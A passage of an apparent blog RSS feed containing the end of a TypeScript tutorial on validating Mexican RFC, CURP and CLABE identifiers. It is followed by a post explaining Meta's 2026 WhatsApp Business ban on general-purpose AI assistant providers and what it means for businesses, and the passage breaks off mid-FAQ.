&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; validateRfc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; validateCurp &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;mx-identifiers&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;validateRfc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;XAXX010101000&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// { valid: true, kind: &amp;#39;generico&amp;#39;, genericNote: &amp;#39;RFC genérico nacional (público en general)&amp;#39;, ... }&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;validateCurp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;BOXW310820HNERXN09&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;birthDate&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// &amp;#39;1931-08-20&amp;#39;&lt;/span&gt;
r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;stateName&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// &amp;#39;Nacido en el extranjero&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It also generates coherent fake people, where the RFC and CURP come from the same name and birth date and all four IDs pass their validators. That covers the other half of the problem: seeding a staging database without real personal data.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; Mexican ID Validator — RFC, CURP, CLABE, NSS &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Check whether an RFC, CURP, CLABE or NSS is correct. Detects the type on its own, verifies the check digit and breaks down every part of the ID. All in your browser. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/mexican-id-validator/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;validador-rfc-curp-clabe&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;what-to-validate-where&quot;&gt;What to validate where&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;In the form:&lt;/strong&gt; normalise (uppercase, strip spaces, hyphens and dots), check the shape, the date and the check digit, and allow the two generic RFCs. This catches the typos.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;In the back office:&lt;/strong&gt; check the RFC against the SAT, including the list of taxpayers with fake invoices (the 69-B list), the CURP against RENAPO, and the CLABE with the penny test or your payment provider’s account-name lookup. This catches the fraud.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Never&lt;/strong&gt; show a user “your RFC doesn’t exist” based on a checksum. Say “check the characters”, because that’s all a checksum can tell you.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How is the RFC check digit calculated? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Left-pad the characters before the digit to 12 with spaces, map each one to its position in the alphabet 0-9, A-N, &amp;amp;, O-Z, space, Ñ, multiply by weights running from 13 down to 2, and take the sum modulo 11. A remainder of 0 gives 0, 1 gives the letter A, and anything else gives 11 minus the remainder. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does XAXX010101000 fail RFC validation? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because the SAT assigned it by decree without honouring its own algorithm: the modulus 11 asks for a 4 and the RFC carries a 0. Validators must allowlist it, along with XEXX010101000 for foreign residents, which passes the checksum by coincidence but should be classified as generic rather than as a person. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is the CLABE check digit the Luhn algorithm? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. The CLABE uses cyclic weights 3, 7, 1 and keeps the last digit of each product, so 63 counts as 3. Luhn adds the digits of the product, so 63 would count as 9. The two agree on many inputs, which is why the bug slips through tests. The base 09000000000000000 gives 7 with the correct algorithm and 1 with the Luhn-style one. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does a valid check digit mean the RFC, CURP or CLABE exists? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. A check digit only proves the string is well formed and catches typos. Whether it is registered and active is answered by the SAT for the RFC, RENAPO for the CURP and the bank or payment provider for the CLABE. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can I validate the RFC homoclave? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Not from the RFC alone. The SAT derives the two homoclave characters from the full name, so checking them needs the name as input. A validator that only has the RFC can check the letters, the date and the check digit, but not the homoclave. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Tutorials</category><category>Mexico</category><category>Validation</category><category>TypeScript</category><category>Algorithms</category><category>Fintech</category><author>Marco Orta</author></item><item><title>Meta Banned General-Purpose AI Chatbots on WhatsApp: What It Means for Your Business (and What It Doesn&apos;t)</title><link>https://ortamarco.me/en/blog/meta-whatsapp-ai-chatbot-ban-businesses/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/meta-whatsapp-ai-chatbot-ban-businesses/</guid><description>ChatGPT left WhatsApp outside Europe and Brazil, but your customer-service bot can stay. What the clause says, what is still allowed, and what changes on Oct 1.</description><pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Since January 15, 2026, you can no longer talk to ChatGPT, Copilot or Perplexity on WhatsApp from most of the world. A lot of people read that as “Meta banned AI bots”, and articles are circulating that warn businesses their numbers will be suspended for using AI. That isn’t what happened. Meta’s rule targets companies that offer a general-purpose AI assistant &lt;em&gt;as the product&lt;/em&gt;, not businesses that use AI to serve their own customers. That is still allowed, and Meta’s own documentation says so.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What does change for a business are three other things, none of them about the ban. From October 1, Meta charges for customer-service replies, AI replies included, beyond 1,000 a month. Meta now sells its own AI agent for businesses. And the terms were reorganized on September 23, leaving the ban untouched. Each one is below with its source. One caveat up front: in the European Economic Area and Brazil, regulators forced Meta to carve out an exception, so the ban applies everywhere else, including Mexico, the US and the rest of Latin America.&lt;/p&gt;
&lt;h2 id=&quot;what-the-rule-says-word-for-word&quot;&gt;What the rule says, word for word&lt;/h2&gt;
&lt;p&gt;The clause is in the &lt;a href=&quot;https://www.facebook.com/legal/Meta-Terms-for-WhatsApp-Business-Platform&quot;&gt;Meta Terms for WhatsApp Business Platform&lt;/a&gt; (last modified September 23, 2026), section 4.7, “AI Providers”:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Providers and developers of artificial intelligence or machine learning technologies, including but not limited to large language models, generative artificial intelligence platforms, general-purpose artificial intelligence assistants, or similar technologies as determined by Meta in its sole discretion (“AI Providers”), are strictly prohibited from accessing or using the WhatsApp Business Solution, whether directly or indirectly, for the purposes of providing, delivering, offering, selling, or otherwise making available such technologies &lt;strong&gt;when such technologies are the primary (rather than incidental or ancillary) functionality&lt;/strong&gt; being made available for use.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And two sentences later comes the one that matters to a business:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Notwithstanding the foregoing, &lt;strong&gt;you may retain an AI Provider as your Solution Provider&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In other words: OpenAI can’t use WhatsApp to offer you ChatGPT. Your business can hire OpenAI (or anyone else) so its model answers &lt;em&gt;your&lt;/em&gt; customers about &lt;em&gt;your&lt;/em&gt; business. &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing/non-template-messages&quot;&gt;Meta’s pricing documentation&lt;/a&gt; is blunt about it: service messages “can be powered by a person, like a customer service representative, or by a 3rd-party AI solution.” And the European Commission, when it opened its investigation, put it the same way: businesses may still use AI tools “for ancillary or support functions, such as automated customer support offered via WhatsApp.”&lt;/p&gt;
&lt;p&gt;The rule applied to new providers from October 15, 2025 and to existing ones from January 15, 2026, according to the &lt;a href=&quot;https://ec.europa.eu/commission/presscorner/api/documents?reference=IP/25/2896&amp;amp;language=en&quot;&gt;European Commission&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;who-left-whatsapp-and-who-came-back&quot;&gt;Who left WhatsApp (and who came back)&lt;/h2&gt;





























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Assistant&lt;/th&gt;&lt;th&gt;What happened&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ChatGPT&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;It had more than 50 million users on WhatsApp. It left on January 15; OpenAI asked people to link their accounts because conversations wouldn’t transfer (&lt;a href=&quot;https://openai.com/index/chatgpt-whatsapp-transition/&quot;&gt;OpenAI&lt;/a&gt;). &lt;strong&gt;It came back on July 13, for European numbers only&lt;/strong&gt; (&lt;a href=&quot;https://help.openai.com/en/articles/6825453-chatgpt-release-notes&quot;&gt;release notes&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Microsoft Copilot&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Left on January 15, without keeping chat history&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Perplexity&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Announced it was shutting down its WhatsApp number&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Luzia&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Big in Spain and Latin America. Moved users to its own app, and on June 30 launched a new WhatsApp assistant on a Spanish number, which fits the European exception&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Meta AI&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Stays. Since January 15 it has been the only AI assistant available inside WhatsApp, according to the European Commission&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;why-chatgpt-is-back-in-europe-and-brazil&quot;&gt;Why ChatGPT is back in Europe and Brazil&lt;/h2&gt;
&lt;p&gt;Because regulators there made Meta back down, and the clause carves out “certain countries as set forth here”, a list Meta now keeps on &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing/ai-providers&quot;&gt;a separate developer page&lt;/a&gt;: currently Brazil and the European Economic Area.&lt;/p&gt;

































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What happened&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Dec 24, 2025&lt;/td&gt;&lt;td&gt;Italy’s competition authority (AGCM) orders the terms suspended in Italy (&lt;a href=&quot;https://en.agcm.it/en/media/press-releases/2025/12/A576&quot;&gt;AGCM&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Jan 12, 2026&lt;/td&gt;&lt;td&gt;Brazil’s CADE opens an inquiry and suspends the terms as a preventive measure (&lt;a href=&quot;https://www.gov.br/cade/pt-br/assuntos/noticias/cade-abre-inquerito-contra-meta-e-aplica-medida-preventiva-suspendendo-novos-termos-do-whatsapp-sobre-ia&quot;&gt;CADE&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Feb 9, 2026&lt;/td&gt;&lt;td&gt;The European Commission, investigating since December 4, sends its Statement of Objections&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mar 4, 2026&lt;/td&gt;&lt;td&gt;Meta lets rivals back in within Europe, but charges them per message&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Apr 23, 2026&lt;/td&gt;&lt;td&gt;CADE upholds a daily fine of 250,000 reais because Meta was charging chatbots (&lt;a href=&quot;https://www.gov.br/cade/en/matters/news/cade-upholds-daily-fine-against-meta-and-whatsapp-for-failure-to-comply-with-interim-measure&quot;&gt;CADE&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Jun 9, 2026&lt;/td&gt;&lt;td&gt;The European Commission orders free access restored within five working days (&lt;a href=&quot;https://ec.europa.eu/commission/presscorner/api/documents?reference=IP/26/1276&amp;amp;language=en&quot;&gt;Commission&lt;/a&gt;); Meta says it will appeal&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Outside those two regions nothing comparable has happened. In Mexico, the new National Antitrust Commission, which replaced COFECE in October 2025, hasn’t published any investigation of these terms.&lt;/p&gt;
&lt;h2 id=&quot;what-your-business-can-still-do-with-ai-on-whatsapp&quot;&gt;What your business can still do with AI on WhatsApp&lt;/h2&gt;
&lt;p&gt;Everything that is serving your customers about your business: answering hours and prices, recommending products from your catalogue, booking appointments, taking orders, sending a payment link, following up. With three conditions that come from Meta’s own documents:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;There has to be a way to reach a person.&lt;/strong&gt; The &lt;a href=&quot;https://whatsappbusiness.com/policy/&quot;&gt;WhatsApp Business Messaging Policy&lt;/a&gt; allows automated replies but requires “prompt, clear, and direct escalation paths”: a human agent in the chat, a phone number, an email, a support form or a store visit. A bot that never lets anyone talk to a human breaks the policy, even though that has nothing to do with the AI clause.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conversations can’t be used to train other people’s models.&lt;/strong&gt; The terms forbid using your customers’ data to create or improve AI systems, except a model fine-tuned for your exclusive use. Ask your vendor whether it trains on your data: OpenAI, for instance, says that on its API it does &lt;a href=&quot;https://openai.com/enterprise-privacy/&quot;&gt;not train on it by default&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The bot talks about your business.&lt;/strong&gt; The grey zone is a number whose main offering is “ask me anything”, even if a shop runs it. Meta hasn’t published where “primary” ends and “ancillary” begins, and it reserves the call to its “sole discretion”. A bot that answers about your store is clearly on the allowed side; a ChatGPT with your logo that also helps with homework is not.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A note on what’s circulating: I found no documented case of a business number being suspended under this clause. The articles that talk about “mass suspensions” don’t cite any.&lt;/p&gt;
&lt;p&gt;And if what you want is more customers messaging you, that doesn’t depend on AI: a QR code that opens your chat with a message already typed, on the counter or the receipt, works from day one.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; QR Code Generator &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Create QR codes for URLs, WhatsApp, WiFi, vCard contacts, email, phone or SMS, with your logo in the centre. PNG or SVG, no watermark or signup, and nothing leaves your browser. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/qr-code-generator/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;generador-qr&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;what-does-change-for-you-and-has-nothing-to-do-with-the-ban&quot;&gt;What does change for you (and has nothing to do with the ban)&lt;/h2&gt;
&lt;h3 id=&quot;1-from-october-1-service-replies-are-billed&quot;&gt;1. From October 1, service replies are billed&lt;/h3&gt;
&lt;p&gt;According to &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing&quot;&gt;Meta’s pricing page&lt;/a&gt;, from October 1, 2026 service messages (your replies when the customer writes first) are charged at the same rate as utility messages, with &lt;strong&gt;1,000 free per phone number per month&lt;/strong&gt;, not rolled over. AI replies are service messages, so they count exactly like a person’s. And if your account has no payment method on file by September 30, Meta stops delivering your replies from the 1,001st of the month. The technical detail, including what changes in the webhook, is in &lt;a href=&quot;https://ortamarco.me/en/blog/whatsapp-api-october-1-billing-webhook/&quot;&gt;what changes in your code on October 1&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;2-meta-now-sells-its-own-ai-agent&quot;&gt;2. Meta now sells its own AI agent&lt;/h3&gt;
&lt;p&gt;On June 3 Meta announced &lt;a href=&quot;https://about.fb.com/news/2026/06/meta-business-agent/&quot;&gt;Meta Business Agent&lt;/a&gt;, and it promises a lot: answering questions about your business, recommending products from your catalogue, &lt;strong&gt;booking appointments, qualifying leads and closing sales&lt;/strong&gt;. Getting started is free, but Meta has said access will move to paid subscriptions. On the API it has been billed since August 1 at $2 per million tokens, which Meta estimates at about 4 to 5 US cents per message. And on September 15 it introduced &lt;a href=&quot;https://about.fb.com/news/2026/09/introducing-meta-one-subscription-service-more-features-ai/&quot;&gt;Meta One&lt;/a&gt;, with a plan starting at $14.99 a month that includes more use of the agent; pricing and availability vary by region.&lt;/p&gt;
&lt;p&gt;The question isn’t whether it’s good, but whether you want your customer service to depend on the rules and prices of the same company that owns the channel, which is exactly what regulators in Europe are investigating.&lt;/p&gt;
&lt;h3 id=&quot;3-the-terms-were-reorganized-on-september-23&quot;&gt;3. The terms were reorganized on September 23&lt;/h3&gt;
&lt;p&gt;That day WhatsApp split its terms: the WhatsApp Business app on one side (&lt;a href=&quot;https://faq.whatsapp.com/1017485114093363&quot;&gt;help center&lt;/a&gt;) and, for the API, the &lt;a href=&quot;https://www.facebook.com/legal/Meta-Terms-for-WhatsApp-Business-Platform&quot;&gt;Meta Terms for WhatsApp Business Platform&lt;/a&gt; plus the &lt;a href=&quot;https://www.whatsapp.com/legal/WhatsApp-Terms-for-WhatsApp-Business-Platform&quot;&gt;WhatsApp Terms for WhatsApp Business Platform&lt;/a&gt;. I read the new text: the ban on AI providers kept the exact same wording, now in section 4.7. Three things changed in form: the document’s name, the AI provider you hire is now your “Solution Provider” instead of a “Third Party Service Provider”, and the list of exempt countries moved out of the contract to &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing/ai-providers&quot;&gt;a separate Meta page&lt;/a&gt;. The new terms also add that Meta’s own agent has its own terms, the “Meta Business Agents and Platform Terms of Service”.&lt;/p&gt;
&lt;h2 id=&quot;metas-agent-or-one-connected-to-your-business&quot;&gt;Meta’s agent, or one connected to your business?&lt;/h2&gt;
&lt;p&gt;It depends on what you need it to do:&lt;/p&gt;



































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Meta’s agent&lt;/th&gt;&lt;th&gt;Your own agent on the API&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Setup&lt;/td&gt;&lt;td&gt;From the app, in minutes&lt;/td&gt;&lt;td&gt;Days or weeks&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Where its answers come from&lt;/td&gt;&lt;td&gt;Your catalogue and what you configure in Meta&lt;/td&gt;&lt;td&gt;Your systems: inventory, calendar, payments&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Which model&lt;/td&gt;&lt;td&gt;Meta’s&lt;/td&gt;&lt;td&gt;The one you choose, with a no-training guarantee&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;What you pay&lt;/td&gt;&lt;td&gt;Meta’s tokens or subscription, plus messages&lt;/td&gt;&lt;td&gt;Meta’s messages plus the model you use&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Rules and prices&lt;/td&gt;&lt;td&gt;Meta decides&lt;/td&gt;&lt;td&gt;Messages: Meta. Everything else: you&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;For a business that sells what’s in its catalogue and answers repeated questions, Meta’s agent may be enough. When the answer depends on something that lives outside Meta (whether it’s in stock today, whether the doctor has a free slot, what shipping costs to your neighbourhood), you need one connected to your own systems. That’s how &lt;a href=&quot;https://ortamarco.me/en/ai-business-automation-service/&quot;&gt;the AI automation I build for businesses&lt;/a&gt; works, and I covered the technical side in &lt;a href=&quot;https://ortamarco.me/en/blog/ai-whatsapp-agent-for-smbs-laravel-openai/&quot;&gt;building an AI WhatsApp agent for small businesses with Laravel and OpenAI&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;five-questions-to-ask-your-bot-vendor&quot;&gt;Five questions to ask your bot vendor&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Does my number use the official WhatsApp API or an unofficial app? (Unofficial ones can be blocked by Meta even without AI.)&lt;/li&gt;
&lt;li&gt;Does the bot answer only about my business, or anything at all?&lt;/li&gt;
&lt;li&gt;How does a conversation get handed to a person, and how fast?&lt;/li&gt;
&lt;li&gt;Are my conversations used to train any model?&lt;/li&gt;
&lt;li&gt;Does my Meta account have a payment method before September 30, and who pays for messages beyond 1,000 a month?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If any answer is “I don’t know”, that’s the one to fix first.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Did Meta ban AI chatbots on WhatsApp? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It banned AI providers from offering general-purpose assistants (like ChatGPT, Copilot or Perplexity) through the WhatsApp Business API when AI is the primary functionality of the service. It applies from January 15, 2026 for existing providers and from October 15, 2025 for new ones. It did not ban businesses from using AI to serve their own customers. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can my business use an AI chatbot on WhatsApp in 2026? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Yes. WhatsApp&amp;#39;s terms let a business retain an AI provider as its third-party service provider, and Meta&amp;#39;s pricing documentation says service messages can be powered by a person or by a third-party AI solution. The conditions: a clear way to reach a person, conversations not used to train other companies&amp;#39; models, and a bot that serves customers about your business. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does ChatGPT work on WhatsApp in Europe but not in Mexico or the US? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because Italy&amp;#39;s competition authority, the European Commission and Brazil&amp;#39;s CADE ordered Meta to suspend the restriction, and the current terms (September 23, 2026) allow general-purpose AI in the countries Meta lists separately, currently the European Economic Area and Brazil. ChatGPT returned to WhatsApp in Europe on July 13, 2026. Everywhere else the restriction still applies. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can my WhatsApp number be suspended for using AI? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; 